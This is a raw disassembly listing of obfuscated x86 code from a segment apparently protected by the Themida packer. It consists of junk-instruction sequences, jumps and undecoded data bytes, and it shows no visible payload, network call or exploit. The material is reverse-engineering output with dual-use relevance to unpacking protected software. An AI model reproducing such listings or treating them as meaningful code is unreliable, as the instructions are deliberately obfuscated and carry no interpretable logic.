		dd 34870000h, 8F665C24h, 0AEE92404h, 31FFFF7Fh,	31FE31F7h
		dd 814F47F7h, 872101C7h, 0CDA7E9E6h, 0F380FFFFh, 5BD988FCh
		dd 252EE9h, 0BE0BB00h, 815338BCh, 30D1242Ch, 27E97338h
		dd 0B8FFFFEEh, 5AE4528Dh, 625F4BBh, 58C3313Ch, 0C93EB81h
		dd 0D8893874h, 0C798E95Bh, 0EF81FFFFh, 5AB86CD1h, 3C8BFD89h
		dd 333E924h, 4EE90000h,	81FFFF7Fh, 0F73752C2h, 0E9D529FFh
		dd 0FFFF93E5h, 70CEEA81h, 0C2816534h, 7A367E99h, 8904EC83h
		dd 0EBB241Ch, 81118564h, 0D470ABEAh, 51DA2971h,	0D470AB68h
		dd 0EA815971h, 355056D1h, 0C281CA01h, 355056D1h, 0FFE84EE9h
		dd 2434FFFFh, 937E9h
		db 0
; ---------------------------------------------------------------------------


loc_630BBD:				; CODE XREF: Themida_:0062E48Bj
		push	4414h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 21B47A59h
		not	edi
		dec	edi
		neg	edi
		add	edi, 6E35618Eh
		add	edi, 7016241Bh
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4


loc_630BFA:				; CODE XREF: Themida_:0062FE9Cj
		push	eax
		mov	eax, esp
		push	ecx
		jmp	loc_630A4F
; ---------------------------------------------------------------------------
		db 89h
		dd 8BDF89EBh, 0C481241Ch, 4, 8BF8295Dh
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 72E5888h
		not	ebx
		inc	ebx
		xor	ebx, 0F8D1A77Ch
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 18E839ADh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 178468F7h
		push	ecx
		mov	ecx, 71905ECBh
		push	edi
		mov	edi, 4CB259D2h
		jmp	loc_62BDCE
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 0E9242C31h, 2513h, 4315BE56h, 814E2B81h, 814310EEh
		dd 0E9F1012Bh, 0FFFFC5DBh, 5138B850h, 44017E8Dh, 81580424h
		dd 64F0242Ch, 0DE921DDh, 83FFFFE1h, 0FF5702C7h,	8B042474h
		dd 0C481243Ch, 4, 8B24048Fh, 8B662424h,	0EC812404h, 4
		dd 0E9243489h, 0FFFFC726h, 0E924148Bh, 0FFFFAD28h, 4240483h
		dd 4BA5259h, 1000000h, 0C1835AD1h, 0DA2AE904h, 0EA81FFFFh
		dd 5C867A8Fh, 1580EA81h, 8158149Ah, 5F27CCF2h, 56D2F776h
		dd 981625BEh, 76EE8125h, 4E24F726h, 3152CE81h, 0E6C17780h
		dd 0DC58E907h, 77FFFFFFh, 59669D1Ch, 241CD366h,	7DA3E99Ch
		dd 0E95AFFFFh, 0FFFF8D78h, 412823B9h, 0C0C18130h, 0E9219565h
		dd 0FFFFF03Fh
; ---------------------------------------------------------------------------


loc_630D30:				; CODE XREF: Themida_:0062FE49j
		pop	edx
		add	eax, esi
		pop	esi
		neg	eax
		xor	eax, 72B3729Dh
		add	ecx, eax
		pop	eax
		add	ecx, 4
		jmp	loc_62D37D
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 504C483h, 4,	259DE9h, 0E8015A00h, 81242C8Bh,	4C4h, 97E7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_630D6A:				; CODE XREF: Themida_:00631D74j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_633A7B
; ---------------------------------------------------------------------------


loc_630D7B:				; CODE XREF: Themida_:0062B891j
		push	eax
		jmp	loc_6321AC
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0A5h
		dd 5BFFFFA5h, 0DDEDE952h, 0EC81FFFFh, 4, 0B1240C89h, 3AC180B6h
		dd 8046C180h, 536695E1h, 0FFBD8EE9h, 7D0FE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_630DAE:				; CODE XREF: Themida_:00634E50j
		add	ebx, 46B34B63h
		add	ebx, ebp
		jmp	loc_631FE5
; ---------------------------------------------------------------------------
		db 81h
		dd 244C35E9h, 59CF0106h, 0FFE746E9h, 0E38953FFh, 3609E9h
		dd 0A9D6800h, 34890000h, 49BA5224h, 521DCE05h, 0FFB084E9h
		dd 24048BFFh, 348B5456h, 7E27E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_630DF2:				; CODE XREF: Themida_:006347F7j
		and	ecx, esi
		jmp	loc_630389
; ---------------------------------------------------------------------------


loc_630DF9:				; CODE XREF: Themida_:00631DE5j
		dec	ecx
		or	ecx, 444F6C35h
		not	ecx
		add	ecx, 3175AEDEh
		jmp	loc_62A5DF
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 83000000h, 2C8704C5h, 8FE9E924h, 0F8BEFFFFh,	83568B0Ch
		dd 42E9FFC6h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_630E2B:				; CODE XREF: Themida_:00632E43j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_62F93A
; ---------------------------------------------------------------------------


loc_630E3F:				; CODE XREF: Themida_:0063250Dj
		xor	eax, ecx
		push	ebx
		jmp	loc_62E9D1
; ---------------------------------------------------------------------------


loc_630E47:				; CODE XREF: Themida_:00631F20j
		mov	ebp, [esp]
		jmp	loc_62B960
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 0FFFFB4E9h, 2434FFFFh, 721C6859h, 1C890000h
		dd 575B5424h, 4BFh, 5FFB0100h, 2FE95557h, 8B00002Ch, 0C481240Ch
		dd 4, 8702C383h, 6BE9241Ch, 8BFFFF8Ah, 0C4812404h, 4, 4245431h
		dd 0FFCC48E9h, 4C483FFh, 34FFEE01h, 0C4835D24h,	4EC8304h
		dd 68240489h, 2, 58C60158h, 2474FF56h, 0F2E95E04h, 51FFFFB7h
		dd 0C1815954h, 4, 4C181h, 0C870000h, 0E2E95C24h, 53FFFF7Bh
		dd 0DA88E388h, 51D2F65Bh, 0AFE9D588h, 81FFFF82h, 331A41C7h
		dd 0CC5CE91Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_630EF6:				; CODE XREF: Themida_:00633FEBj
		shr	eax, 12h
		jmp	loc_628D25
; ---------------------------------------------------------------------------
		dw 489h
		dd 56E08924h, 0E9180EBEh, 6EF6815Dh, 8116A135h,	270897CEh
		dd 814E4E64h, 0E128B6EEh, 0D5C6814Ch, 0E91B800Ah, 0FFFFAA45h
; ---------------------------------------------------------------------------


loc_630F28:				; CODE XREF: Themida_:0062DF25j
		push	ebx
		jmp	loc_62D873
; ---------------------------------------------------------------------------
		dw 315Dh
		dd 43E95AD1h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_630F37:				; CODE XREF: Themida_:0062FBAAj
		pop	edi
		or	eax, eax
		jz	loc_62F771
		push	19C9h
		mov	[esp], eax
		mov	eax, 1Ch
		jmp	loc_634D75
; ---------------------------------------------------------------------------


loc_630F52:				; CODE XREF: Themida_:0062EDF5j
		push	esi
		jmp	loc_6344C2
; ---------------------------------------------------------------------------
		dd 2414F753h, 83241C8Bh, 0C7E904C4h, 8B00003Bh,	30E92424h
		dd 5B000031h, 4BA52h, 0D3010000h, 0FFE52AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_630F7D:				; CODE XREF: Themida_:0063130Cj
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_62FBF8
; ---------------------------------------------------------------------------
		dw 9FBFh
		dd 812E9B64h, 9B649BF7h, 9B84E92Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_630FAE:				; CODE XREF: Themida_:0062DDDBj
		pop	esi
		sub	ebx, 79D17FB5h
		add	ebx, 122E2961h
		sub	ebx, 607F1C80h
		jmp	loc_62DE24
; ---------------------------------------------------------------------------
		dw 4EBEh
		dd 29A2EFA9h, 24148BD6h, 0FFC841E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_630FD5:				; CODE XREF: Themida_:0062B15Ej
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		jmp	loc_62C805
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 54h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_630FE7:				; CODE XREF: Themida_:00632EE0j
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 1EC55766h
		push	eax
		push	4B88h
		mov	[esp], edx
		mov	edx, 787964Ch
		mov	eax, edx
		mov	edx, [esp]
		jmp	loc_62DC85
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0FFCFCBE9h, 98B551FFh, 0A9E9EB28h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63101B:				; CODE XREF: Themida_:00634E3Ej
		or	ebx, 10EE4DACh
		sub	ebx, 0FD3BF945h
		mov	ebp, ebx
		pop	ebx
		shr	ebp, 1
		shr	ebp, 7
		dec	ebp
		sub	ebp, 0C39AA1DFh
		or	eax, ebp
		pop	ebp
		neg	eax
		shr	eax, 4
		and	eax, 2AF605B0h
		xor	eax, 8340422h
		sub	ebp, eax
		jmp	loc_628E91
; ---------------------------------------------------------------------------
		db 31h
		dd 4EC81D8h, 89000000h,	6856240Ch, 79984687h, 8324348Bh
		dd 0F4E904C4h, 0D0FFFF9Eh, 4DB151E6h, 0E94FE980h, 308Eh
; ---------------------------------------------------------------------------


loc_631078:				; CODE XREF: Themida_:0062C4ECj
		push	esi
		mov	esi, 4
		jmp	loc_635040
; ---------------------------------------------------------------------------
		db 81h
		dd 8F5D5CC3h, 0AD25E92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63108E:				; CODE XREF: Themida_:0062D527j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_631D6B
; ---------------------------------------------------------------------------
		db 81h
		dd 4F10B8EBh, 0BBF5757h, 0E9C29B00h, 0FFFF8C7Bh, 8B241487h
		dd 8B662424h, 0D668240Ch, 0E900005Bh, 0FFFFDEAAh, 0FF79FCE9h
		dd 48F54FFh, 0FD07E924h, 34FFFFFFh, 71E95924h, 1FFFF87h
		dd 0D6685FFBh, 89000018h, 74FF241Ch, 0DBE90424h, 0BF000005h
		dd 444030FDh, 315FF921h, 0E7A5E9C1h, 2C87FFFFh,	0BEE95C24h
		dd 52FFFF79h, 0FFC8EFE9h, 79B3E9FFh, 8B66FFFFh,	0E951240Ch
		dd 0FFFFD4FBh, 5D2434FFh, 56E18951h, 4BEh, 0E9F10100h
		dd 1CE9h
; ---------------------------------------------------------------------------


loc_631128:				; CODE XREF: Themida_:0062FC69j
		sub	esp, 4
		jmp	loc_62FF58
; ---------------------------------------------------------------------------
		dd 0C18099B7h, 0A4C18058h, 0E980F928h, 58E980A4h, 33A7E95Bh
		dd 1CF60000h, 6EE99C24h, 54FFFF79h, 0AE19E95Dh,	0C181FFFFh
		dd 4, 0FFB990E9h, 242489FFh, 1AC0E9h
		db 0
; ---------------------------------------------------------------------------


loc_631169:				; CODE XREF: Themida_:00633A3Bj
		xor	dh, 8Ch
		shr	dh, 3
		sub	dh, 10h
		jmp	loc_634C27
; ---------------------------------------------------------------------------


loc_631177:				; CODE XREF: Themida_:00633CBEj
		mov	esi, 180E468Ah
		jmp	loc_62DF1A
; ---------------------------------------------------------------------------
		db 56h,	2 dup(0BEh)
		dd 89641A1Dh, 24348BF0h, 0FFD0D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_631191:				; CODE XREF: Themida_:0062A92Ej
		add	ebp, 4
		push	eax
		jmp	loc_62EBF6
; ---------------------------------------------------------------------------


loc_63119D:				; CODE XREF: Themida_:0062D027j
		add	esp, 4
		push	ebp
		jmp	loc_631C41
; ---------------------------------------------------------------------------


loc_6311A9:				; CODE XREF: Themida_:0062C5AEj
		push	small 0CD9h
		jmp	loc_634469
; ---------------------------------------------------------------------------
		dw 0EBD1h
		dd 1C61C381h, 0EB8140F5h, 68AD551Bh, 0DBE9D801h, 81000001h
		dd 4C4h, 0F2815A00h, 7BD4479Ah,	5AD70158h, 0E9243C87h
		dd 0FFFFF0AEh
; ---------------------------------------------------------------------------


loc_6311E0:				; CODE XREF: Themida_:0062AABBj
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_631742
; ---------------------------------------------------------------------------
aAC		db '[C',0
		dw 80F5h
aAcsm		db 'Cm:',0
		dw 5D00h
		dd 0FFEF13E9h, 292335FFh, 21E906EAh
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_631227:				; CODE XREF: Themida_:006346F4j
		sub	ebp, 46536492h
		jmp	loc_62E0F1
; ---------------------------------------------------------------------------
		dw 5450h
		dd 40558h, 0C0830000h, 24048704h, 0FFBC33E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_631245:				; CODE XREF: Themida_:0062B737j
		push	ecx
		jmp	loc_6295FE
; ---------------------------------------------------------------------------
aFrA		db 'fRЀ',0
		db 0F3h
		dd 66C4EB80h, 52C3285Ah, 0EE80D8B6h, 5AF32808h,	6681C380h
		dd 661F4B68h, 53240C89h, 0ABE9E9B7h, 0B9FFFFAFh, 71FF23DCh
		dd 0FF9D8CE9h, 3AF2B9FFh, 0D129A82Eh, 8324148Bh, 60E904C4h
		dd 29FFFFD7h, 83B959C8h, 81674FD6h, 0B21E06C1h,	81C12929h
		dd 0B21E06E9h, 4C015829h, 34FF0424h, 0C4815924h, 4, 0CA242C81h
		dd 81004963h, 3875242Ch, 4012B47h, 75B85024h, 12B4738h
		dd 0E9042444h, 1585h, 0E924048Bh, 0FFFFA156h, 0BA241489h
		dd 2, 4B9EED81h, 49E9432Bh
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6312F3:				; CODE XREF: Themida_:00633E86j
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_630F7D
; ---------------------------------------------------------------------------
		db 68h,	0DBh, 30h
		dd 34890000h, 75DDBE24h, 0EE81016Dh, 0B5A7FB54h, 4A00BA52h
		dd 2BE93C3Eh, 5FFFFFF3h, 0CAAEEA81h, 4DE9450Fh,	0BDFFFF97h
		dd 15495A94h, 0F9E9FD87h, 81FFFF90h, 4C4h, 24048F00h, 0FF24248Bh
		dd 0A0E92434h, 81FFFFB0h, 4547C0E3h, 2F3816Fh, 81094813h
		dd 0D6369DCBh, 50D3F747h, 849BFAB8h, 58C3319Eh,	815BDA31h
		dd 0A1501EF2h, 0CBC5812Eh, 1559F02h, 0CBED81D5h, 5A559F02h
		dd 2B2AE951h, 248B0000h, 0C83B6624h, 771BE99Ch,	55BFFFFh
		dd 2, 0FFEBDAE9h, 240431FFh, 5C240433h,	0A668C80Fh, 89000046h
		dd 0FAE92404h, 52FFFF76h, 331CB850h, 0BA52349Bh, 50736844h
		dd 5B5CF281h, 7FE964E8h, 8FFFFFC4h, 4832404h, 515A0424h
		dd 4B9h, 59CA0100h, 3302C283h, 14312414h, 24143324h, 0B551665Ch
		dd 0E9EB28F7h, 0FFFFB133h
; ---------------------------------------------------------------------------


loc_631404:				; CODE XREF: Themida_:0062E996j
		add	esp, 4
		dec	ebp
		jmp	loc_62A98D
; ---------------------------------------------------------------------------
		db 0BFh, 1, 51h
		dd 0F7811A07h, 0AAF3F67h, 8104EFC1h, 0F5791EC7h, 5FFD89FEh
		dd 0FFC65DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_631429:				; CODE XREF: Themida_:0062C4FFj
		push	edi
		push	1C483F45h
		pop	edi
		jmp	loc_633F81
; ---------------------------------------------------------------------------
		db 58h,	56h, 55h
		dd 4A016856h, 0E95E483Bh, 0FFFF78B8h
; ---------------------------------------------------------------------------


loc_631444:				; CODE XREF: Themida_:0062DA2Aj
		push	dword ptr [esp]
		jmp	loc_6301AE
; ---------------------------------------------------------------------------
		dd 5A66F300h, 23B0E9h, 0DCC28100h, 295AC775h, 0DCEA81DAh
		dd 815AC775h, 5295BC2h,	0C2295B2Dh, 2795BB53h, 0DA01796Bh
		dd 83241C8Bh, 6BE904C4h, 0F6000021h, 80C9FED1h,	68E995E1h
		dd 81000028h, 4C4h, 1C770900h, 5E2434FFh, 0D30EE955h, 2D5AFFFFh
		dd 4, 0E9240433h, 0FFFFA948h
; ---------------------------------------------------------------------------


loc_6314AC:				; CODE XREF: Themida_:0062A5B6j
		push	ecx
		mov	ecx, 2055DFEh
		add	esi, ecx
		pop	ecx
		dec	esi
		jmp	loc_62E67E
; ---------------------------------------------------------------------------
		db 81h
		dd 3D68DAEBh, 5EBC10Fh,	0A6DEEB81h, 0DE01244Ch,	0E9F3015Bh
		dd 0FFFFE3D1h
; ---------------------------------------------------------------------------


loc_6314D4:				; CODE XREF: Themida_:00629A28j
		sub	bl, 0D5h
		add	bl, al
		push	eax
		push	ebx
		jmp	loc_62A902
; ---------------------------------------------------------------------------


loc_6314E0:				; CODE XREF: Themida_:00628F40j
		push	eax
		jmp	loc_633A84
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 11589D1Ch, 0E99C2404h, 0FFFF99A7h, 5D54555Eh, 1FE95651h
		dd 59FFFFF9h, 0E924048Fh, 0FFFFC9BEh, 4E5EBF57h, 0C1470093h
		dd 97E902EFh, 0ADFFFFEBh, 216BF57h, 0E7D145D6h,	0E781D7F7h
		dd 281661B3h, 0D0CE9h, 0E9FE0100h, 371Ch, 89243C89h, 4C781E7h
		dd 81000000h, 4C7h, 74FF5700h, 8F5F0424h, 0E95C2404h, 0FFFFB104h
		dd 5A60C681h, 0F6813BB3h, 0F5C2BC2Bh, 0FF8C30E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_631565:				; CODE XREF: Themida_:0062C360j
		sub	ebx, 6E4D950Eh
		add	esi, ebx
		pop	ebx
		xor	esi, 19FB3FE1h
		and	eax, esi
		jmp	loc_62F536
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFFBCEE9h, 0C8B66FFh, 96E95724h, 80FFFF92h,	0C180C5C1h
		dd 17E0E93Bh, 0C7810000h, 4, 0FFC0DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6315A1:				; CODE XREF: Themida_:00633A88j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_62E6ED
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 8CBF573Ch, 556FF706h, 1F3ED3BDh, 246C2949h, 7C295D08h
		dd 0BF570424h, 491F3ED3h, 8247C01h, 34FF5F5Fh, 0C4815824h
		dd 4, 4EC81h, 34890000h, 4F685024h, 5867C32Dh, 0EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_6315FD:				; CODE XREF: Themida_:00633F33j
		or	eax, eax
		jz	loc_634735
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 16E53078h
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0CAF07DBh
		not	eax
		push	ebx
		mov	ebx, 598977D4h
		jmp	loc_62A7DE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXrhP		db 'XRhP',0
		dw 8900h
		dd 4812424h, 424h, 0B8505A00h, 24704D87h, 704D832Dh, 0C8EA8124h
		dd 0E9276339h, 3442h
; ---------------------------------------------------------------------------


loc_63165C:				; CODE XREF: Themida_:0063448Cj
		add	esp, 4
		jmp	loc_62F17F
; ---------------------------------------------------------------------------
		db 0BEh
		dd 42056F2Bh, 0D6E9F001h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_631673:				; CODE XREF: Themida_:0062E156j
		push	ebp
		push	23DDh
		jmp	loc_62D808
; ---------------------------------------------------------------------------


loc_63167E:				; CODE XREF: Themida_:00629559j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_632D4C
; ---------------------------------------------------------------------------
		db 5Fh
		dd 42C3E981h, 0F1014640h, 0FFEE38E9h, 4C781FFh,	51000000h
		dd 0F30873B9h, 0C9814144h, 549D5804h, 1B4BBB53h, 0EBC1246Bh
		dd 0F2C0E906h, 8149FFFFh, 44055AE1h, 29A1E978h,	1C8B0000h
		dd 0FC7DE924h, 433FFFFh, 1C895C24h, 4EC8124h, 0E9000000h
		dd 0FFFF92D3h, 4C381h, 0F2E90000h, 2DFFFFEFh, 56085296h
		dd 11CA0548h, 3DE96C50h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_6316F7:				; CODE XREF: Themida_:00634E45j
		mov	edi, esi
		pop	esi
		mov	ecx, [esp]
		push	2DEFh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_634B04
; ---------------------------------------------------------------------------


loc_63170C:				; CODE XREF: Themida_:00628B92j
		mov	eax, [esp]
		jmp	loc_62F7E6
; ---------------------------------------------------------------------------
		dd 3E9D031h, 0B8FFFFBBh, 27A50931h, 105h, 4E8C100h, 0A068E940h
		dd 0E605FFFFh, 0FF57775Bh, 0E4E92434h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63173B:				; CODE XREF: Themida_:0062EDB9j
		dec	edx
		push	ebx
		jmp	loc_629789
; ---------------------------------------------------------------------------


loc_631742:				; CODE XREF: Themida_:00631204j
		mov	[esp], ebp
		push	ecx
		mov	ecx, 4FC230DDh
		mov	ebp, 0BFE5DDA1h
		jmp	loc_6333E4
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 62h
		dd 66FFFF73h, 9C240401h, 0FFE525E9h, 4077FFFFh,	0FF7350E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63176D:				; CODE XREF: Themida_:0062B694j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_62DA08
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 2C28300h, 5C241487h, 3EEC166h,	0BCFE9h
		db 0
; ---------------------------------------------------------------------------


loc_631795:				; CODE XREF: Themida_:0062F10Cj
		add	dword ptr [esp+4], 4FC032EEh
		sub	dword ptr [esp+4], 226D098Dh
		push	ebx
		mov	ebx, 2CF50ADFh
		add	[esp+8], ebx
		jmp	loc_62FF71
; ---------------------------------------------------------------------------
		dd 8104C483h, 615725EBh, 0E9D32964h, 0FFFF76BCh, 34FFD501h
		dd 8018E924h, 481FFFFh,	424h, 8CE95D00h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6317DB:				; CODE XREF: Themida_:00633D61j
		shr	edx, 2
		xor	edx, 3FFFA561h
		add	ecx, edx
		pop	edx


loc_6317E7:				; DATA XREF: Themida_:00606214o
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	eax
		jmp	loc_633D3F
; ---------------------------------------------------------------------------
		dd 90E9E689h, 50FFFFC5h, 0FF8125E9h, 81DBF7FFh,	0B96799EBh
		dd 47CB8136h, 0E90FFC3Eh, 0FFFF76FAh
; ---------------------------------------------------------------------------


loc_63181C:				; CODE XREF: Themida_:0062F399j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_628EB4
; ---------------------------------------------------------------------------


loc_631827:				; CODE XREF: Themida_:00633206j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_62C052
; ---------------------------------------------------------------------------


loc_631833:				; CODE XREF: Themida_:00632042j
		add	eax, 5C30FEAFh
		mov	ecx, eax
		jmp	loc_630729
; ---------------------------------------------------------------------------


loc_63183F:				; CODE XREF: Themida_:00634A66j
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		xchg	ebx, [esp]
		not	ebx
		jmp	loc_629925
; ---------------------------------------------------------------------------
		dd 0E9F8285Bh, 2C8Eh, 582434FFh, 23BB68h, 24348900h, 8904EC83h
		dd 4832424h, 34FF0424h,	0C4835E24h, 0DDA9E904h,	0D001FFFFh
		dd 2C0835Ah, 8904EC83h,	74FF2404h, 34FF0424h, 89565824h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 8F24248Bh, 248B2404h
		dd 4EC8124h, 89000000h,	70E9240Ch
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6318B7:				; CODE XREF: Themida_:0062FF0Bj
		mov	eax, edx
		pop	edx
		mov	edi, eax
		pop	eax
		sub	edi, 0FE7C475Ch
		sub	eax, edi
		jmp	loc_62A028
; ---------------------------------------------------------------------------
		dw 0F280h
aMp0X		db 'MP0X',0
		dd 0B0505AD3h, 0FED8F6B8h, 0C4E952C0h, 8BFFFF96h, 0C481243Ch
		dd 4, 4EC81h, 2BE90000h, 83FFFFEFh, 348904ECh, 89C68924h
		dd 2434FFF0h, 0E089505Eh, 4EC81h, 14890000h, 56DABA24h
		dd 2EE97F68h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63191B:				; CODE XREF: Themida_:006319D4j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ebx
		jmp	loc_62C8F9
; ---------------------------------------------------------------------------
		dd 5E5EF301h, 0C421E950h, 0DE31FFFFh, 0FFF3895Bh, 815E2434h
		dd 4C4h, 0FFB1E900h, 2ABDFFFFh,	81159F1Eh, 706F00C5h, 0B1ED8149h
		dd 3187990Dh, 0FD015DEFh, 0E76DE95Fh, 8F5FFFFFh, 565C2404h
		dd 7331E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63196E:				; CODE XREF: Themida_:006321B7j
		xor	edi, 4AD42690h
		and	eax, edi
		jmp	loc_62F5AE
; ---------------------------------------------------------------------------
		db 66h
		dd 5124048Bh, 0C868E189h, 89000056h, 4D68241Ch,	0E9000011h
		dd 0FFFFDE03h, 0E9243487h, 0FFFF7C0Dh
; ---------------------------------------------------------------------------


loc_63199C:				; CODE XREF: Themida_:0062B20Aj
		add	esp, 4
		movzx	eax, al
		mov	dx, [esp]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	456Ch
		mov	[esp], edi
		mov	edi, 2
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_63191B
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 5C241C33h, 53E9F766h, 0BE56E389h, 283E7922h,	791EEE81h
		dd 0F301283Eh, 0B2BD555Eh, 0E977A977h, 31F0h, 497E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_631A06:				; CODE XREF: Themida_:00632999j
		sub	ebx, 13A43954h
		push	eax
		mov	eax, 585C3A4Fh
		jmp	loc_62C527
; ---------------------------------------------------------------------------
		db 89h
		dd 0EE95DEBh, 89FFFF98h, 9F68240Ch, 5933A95Fh, 0C92CC181h
		dd 0C8893F68h, 81240C8Bh, 4C4h,	24443100h, 24048B04h, 5804C483h
		dd 1BF0E9h, 0C8B6600h, 0EDB9E924h, 0C831FFFFh, 339CE9h
		db 0
; ---------------------------------------------------------------------------


loc_631A59:				; CODE XREF: Themida_:0062A095j
		mov	ebx, esp
		push	edx
		push	eax
		mov	eax, 7495330Ch
		mov	edx, 58633405h
		jmp	loc_62B72E
; ---------------------------------------------------------------------------
		dd 5704C483h, 222143BFh, 9FEF8124h, 8147A538h, 0F5363EEFh
		dd 9EC7810Eh, 8132784Dh, 0A233A8C5h, 81FD012Fh,	0A233A8EDh
		dd 2434FF2Fh, 4C4835Fh,	0FF8F71E9h, 240C8BFFh, 8704C483h
		dd 665C242Ch, 6824048Bh, 3537h,	0E9242C89h, 1DE3h, 54EF814Fh
		dd 472E47DFh, 0FFF422E9h, 6A3635FFh, 0C529403Bh, 65CE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_631AD6:				; CODE XREF: Themida_:0062C709j
		not	ebp
		xor	ebp, 46D62AFBh
		shl	ebp, 7
		dec	ebp
		add	ebp, 0D0316EBCh
		push	ebp
		xor	dword ptr [esp], 578622F9h
		pop	ebx
		xor	ebx, 578622F9h
		jmp	loc_630A95
; ---------------------------------------------------------------------------
		dd 0E958C189h, 0FFFFE361h
; ---------------------------------------------------------------------------


loc_631B04:				; CODE XREF: Themida_:00629A35j
		dec	ebp
		jmp	loc_62E3CF
; ---------------------------------------------------------------------------
		dw 5651h
		dd 4C3A4568h, 53E95E3Bh
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_631B17:				; CODE XREF: Themida_:0062BA22j
		dec	ch
		dec	ch
		jmp	loc_63014C
; ---------------------------------------------------------------------------
		dd 0CC86866h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF6F89h
		dd 2508E8C1h, 7F755B1Ah, 0FF810FE9h
		db 0FFh
; ---------------------------------------------------------------------------


